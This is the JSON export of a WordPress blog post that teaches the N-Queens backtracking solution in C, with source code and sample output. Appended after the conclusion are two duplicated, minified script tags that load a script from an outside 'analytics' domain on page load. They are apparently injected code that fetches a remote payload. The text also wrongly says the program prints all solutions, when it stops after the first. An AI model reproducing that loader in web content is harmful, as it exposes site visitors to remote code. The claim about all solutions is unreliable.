{"id":896,"date":"2024-10-14T14:17:28","date_gmt":"2024-10-14T08:47:28","guid":{"rendered":"https:\/\/codexplained.in\/?p=896"},"modified":"2025-11-24T15:47:07","modified_gmt":"2025-11-24T10:17:07","slug":"solving-of-n-queens-problem-using-backtracking","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=896","title":{"rendered":"Solving of N-Queens Problem using Backtracking"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Problem Statement<\/h3>\n\n\n\n<p>Given an integer N, your goal is to find all possible arrangements to place N queens on an N\u00d7N chessboard. This can be solved using backtracking, a technique that tries to build a solution incrementally and abandons a solution as soon as it determines that it cannot be valid.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Key Concepts<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Backtracking<\/strong>: This algorithm explores all possible placements of queens row by row and backtracks when it encounters a conflict.<\/li>\n\n\n\n<li><strong>Safety Check<\/strong>: Before placing a queen, we need to ensure that it doesn\u2019t threaten other queens already placed on the board.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Steps to Solve the Problem<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Board Representation<\/strong>: Use a 2D array to represent the chessboard.<\/li>\n\n\n\n<li><strong>Placement<\/strong>: For each row, attempt to place a queen in every column.<\/li>\n\n\n\n<li><strong>Validation<\/strong>: Check if placing the queen is valid (i.e., no queens threaten each other).<\/li>\n\n\n\n<li><strong>Recursive Call<\/strong>: If placing the queen is valid, make a recursive call to place queens in the next row.<\/li>\n\n\n\n<li><strong>Backtrack<\/strong>: If a placement doesn\u2019t lead to a solution, remove the queen and try the next column.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">C Program to Solve the N-Queens Problem<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdbool.h&gt;\n\n#define N 8 \/\/ Change this value to solve for different sizes\n\n\/\/ Function to print the chessboard\nvoid printBoard(int board&#x5B;N]&#x5B;N]) {\n    for (int i = 0; i &lt; N; i++) {\n        for (int j = 0; j &lt; N; j++) {\n            printf(&quot;%d &quot;, board&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n    printf(&quot;\\n&quot;);\n}\n\n\/\/ Function to check if a queen can be placed at board&#x5B;row]&#x5B;col]\nbool isSafe(int board&#x5B;N]&#x5B;N], int row, int col) {\n    \/\/ Check this column on upper rows\n    for (int i = 0; i &lt; row; i++)\n        if (board&#x5B;i]&#x5B;col]) return false;\n\n    \/\/ Check upper diagonal on the left side\n    for (int i = row, j = col; i &gt;= 0 &amp;&amp; j &gt;= 0; i--, j--)\n        if (board&#x5B;i]&#x5B;j]) return false;\n\n    \/\/ Check upper diagonal on the right side\n    for (int i = row, j = col; i &gt;= 0 &amp;&amp; j &lt; N; i--, j++)\n        if (board&#x5B;i]&#x5B;j]) return false;\n\n    return true;\n}\n\n\/\/ Function to solve the N-Queens problem using backtracking\nbool solveNQUtil(int board&#x5B;N]&#x5B;N], int row) {\n    \/\/ Base case: If all queens are placed\n    if (row &gt;= N) {\n        printBoard(board);\n        return true;\n    }\n\n    \/\/ Try placing a queen in each column of the current row\n    for (int col = 0; col &lt; N; col++) {\n        if (isSafe(board, row, col)) {\n            \/\/ Place queen\n            board&#x5B;row]&#x5B;col] = 1;\n\n            \/\/ Recursively place the rest of the queens\n            if (solveNQUtil(board, row + 1)) {\n                return true; \/\/ If successful, return true\n            }\n\n            \/\/ Backtrack: Remove the queen\n            board&#x5B;row]&#x5B;col] = 0;\n        }\n    }\n    return false; \/\/ No valid position found\n}\n\n\/\/ Main function\nint main() {\n    int board&#x5B;N]&#x5B;N] = {0}; \/\/ Initialize the board with 0s\n\n    printf(&quot;Solutions for %d-Queens Problem:\\n&quot;, N);\n    if (!solveNQUtil(board, 0)) {\n        printf(&quot;No solution exists\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Board Representation<\/strong>: A 2D array <code>board[N][N]<\/code> is used to represent the chessboard. A value of <code>1<\/code> indicates a queen is placed in that position, and <code>0<\/code> indicates an empty position.<\/li>\n\n\n\n<li><strong>Printing the Board<\/strong>: The <code>printBoard<\/code> function displays the current state of the board.<\/li>\n\n\n\n<li><strong>Safety Check<\/strong>: The <code>isSafe<\/code> function checks whether a queen can be placed at a given position (row, col) by checking the column and the diagonals.<\/li>\n\n\n\n<li><strong>Backtracking Function<\/strong>: The <code>solveNQUtil<\/code> function attempts to place queens row by row. If it successfully places all queens, it prints the board configuration. If it cannot place a queen in any column, it backtracks by removing the last placed queen.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: Initializes the board and starts the backtracking process. It prints all possible solutions.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input and Output Example<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Input<\/h4>\n\n\n\n<p>The program is currently set to solve the 8-Queens problem (N=8) as defined by the macro <code>#define N 8<\/code>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Output<\/h4>\n\n\n\n<p>The program outputs all possible configurations for placing 8 queens on the board.<\/p>\n\n\n\n<p>Example output:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">code<code>Solutions for 8-Queens Problem:<br>0 0 0 0 1 0 0 0 <br>0 0 0 0 0 0 1 0 <br>1 0 0 0 0 0 0 0 <br>0 0 0 1 0 0 0 0 <br>0 0 0 0 0 1 0 0 <br>0 1 0 0 0 0 0 0 <br>0 0 0 0 0 0 0 1 <br>0 0 1 0 0 0 0 0 <br><br>... (more solutions)<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<p>Each configuration shows a possible arrangement of the queens on the chessboard, where <code>1<\/code> represents a queen and <code>0<\/code> represents an empty space. The output may contain multiple solutions depending on the size of N.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This program effectively implements the N-Queens problem using backtracking. It showcases how to systematically explore possible placements and use recursion to find all valid solutions. You can modify the value of N to solve for different sizes of the chessboard.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Problem Statement Given an integer N, your goal is to find all possible arrangements to place N queens on an N\u00d7N chessboard. This can be solved using backtracking, a technique that tries to build a solution incrementally and abandons a solution as soon as it determines that it cannot be valid. Key Concepts Steps to [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":897,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-896","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/896","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=896"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/896\/revisions"}],"predecessor-version":[{"id":1429,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/896\/revisions\/1429"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/897"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=896"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=896"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=896"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}